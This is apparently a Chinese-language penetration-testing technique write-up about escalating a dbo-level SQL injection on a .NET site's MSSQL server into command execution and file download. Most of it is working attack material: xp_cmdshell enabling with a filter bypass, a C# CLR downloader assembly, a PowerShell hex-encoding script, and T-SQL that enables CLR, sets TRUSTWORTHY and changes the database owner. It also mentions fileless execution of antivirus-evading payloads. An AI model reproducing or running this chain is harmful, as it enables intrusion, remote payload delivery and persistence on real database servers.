渗透技巧之特殊环境的mssql思路 图片来源真实环境,目前取得都是历史保留 某次实战项目中,在一个.NET的站点发现了一个dbo权限的注入,但是这次遇到的数据库和windows版本都很高,本次记录下渗透过程中遇到的问题和解决方法
有了注入点,接下来就是查询三连,查询用户权限,查询版本信息,查询当前数据库
dbo权限,开启xp_cmdshell发现有过滤,过滤了空格和%0a,这里用存储过程来绕过这个过滤
开启之后,检查一下,先创建一个表,将xp_cmdshell的执行结果插入表中,然后用报错注入查询数据
目标能成功执行命令,执行ping命令,看是否能出网,这里需要注意下,执行命令的时候可以用提取环境变量的字符替换空格
目标执行下载命令无结果,后续尝试了certutil ,bitsadmin ,都报错了,写入vbs后,vbs拒绝访问,命令行下载失败,转回mssql,使用mssql的功能帮助我们下载文件
解决这个问题可以使用CLR执行
Common Language Runtime(CLR)程序集定义为可以导入SQL Server的.NET DLL(或DLL组)。导入后,DLL方法可以链接到存储过程并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本机功能的好方法,但自然也为攻击者创造了机会。
首先,需要先生成下载文件的dll,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 using System; using System.Data; using System.Diagnostics; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Net; using System.IO; using System.Runtime.InteropServices; namespace Hi.Test { public class SQLClr { public static string Run(string url, string path) { try { HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest; //发送请求并获取相应回应数据 HttpWebResponse response = request.GetResponse() as HttpWebResponse; //直到request.GetResponse()程序才开始向目标网页发送Post请求 Stream responseStream = response.GetResponseStream(); //创建本地文件写入流 Stream stream = new FileStream(path, FileMode.Create); byte[] bArr = new byte[1024]; int size = responseStream.Read(bArr, 0, (int)bArr.Length); while (size > 0) { stream.Write(bArr, 0, size); size = responseStream.Read(bArr, 0, (int)bArr.Length); } stream.Close(); responseStream.Close(); return "OK"; } catch (Exception ex) { return ex.ToString(); } } public static void RunProc(string proc, string arg) { SqlDataRecord record = new SqlDataRecord(new SqlMetaData("ret", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, Run(proc, arg)); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); } public static string ProcessArch() { return Marshal.SizeOf(typeof(IntPtr)) == 8 ? "x64" : "x86"; } [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect); } }
然后需要将生成的dll转成hex,使用powershell脚本进行转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $assemblyFile = "C:\Users\Administrator\Downloads\63nmap\63\ClassLibrary1.dll"//生成的dll $stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null $fileStream = [IO.File]::OpenRead($assemblyFile) while (($byte = $fileStream.ReadByte()) -gt -1) { $stringBuilder.Append($byte.ToString("X2")) | Out-Null } $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null $stringBuilder.AppendLine("GO") | Out-Null $stringBuilder.AppendLine(" ") | Out-Null $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[clr_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[clr_exec];") | Out-Null $stringBuilder.AppendLine("GO") | Out-Null $stringBuilder.AppendLine(" ") | Out-Null $stringBuilder.AppendLine("EXEC[dbo].[clr_exec] 'whoami'") | Out-Null $stringBuilder.AppendLine("GO") | Out-Null $stringBuilder.AppendLine(" ") | Out-Null $stringBuilder.ToString() -join "" | Out-File C:\Users\Administrator\Downloads\63nmap\63\exec.txt//生成的16进制
开启CLR,这里使用存储过程执行
1 2 3 4 5 6 7 sp_configure 'show advanced options',1 RECONFIGURE GO -- Enable clr on the server sp_configure 'clr enabled',1 RECONFIGURE GO
需要设置数据库拥有者为sa,这个方法不能使用master数据库来执行查询语句,这里使用存储过程执行
1 2 alter database [数据库名] set TRUSTWORTHY on EXEC sp_changedbowner 'sa'
创建一个名为sysinfo的存储过程,创建执行存储过程的函数,这里创建存储过程不能使用存储过程执行,而且不能一起执行
1 2 3 4 create assembly sysinfo from 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000***** with permission_set=unsafe; create procedure sysinfo_run_proc(@proc nvarchar(max),@arg nvarchar(max)) as external name sysinfo.[Hi.Test.SQLClr].RunProc; create function sysinfo_run(@proc nvarchar(max),@arg nvarchar(max)) returns nvarchar(max) as external name sysinfo.[Hi.Test.SQLClr].Run;
使用创建好的函数执行下载程序
使用xp_cmdshell查看是否下载成功
CLR可以将免杀的程序进行不落地执行,但是,如果免杀不太懂,还是建议创建一个能稳定下载的函数,这样可以便于团队的合作,将上线的操作交给熟悉免杀的队员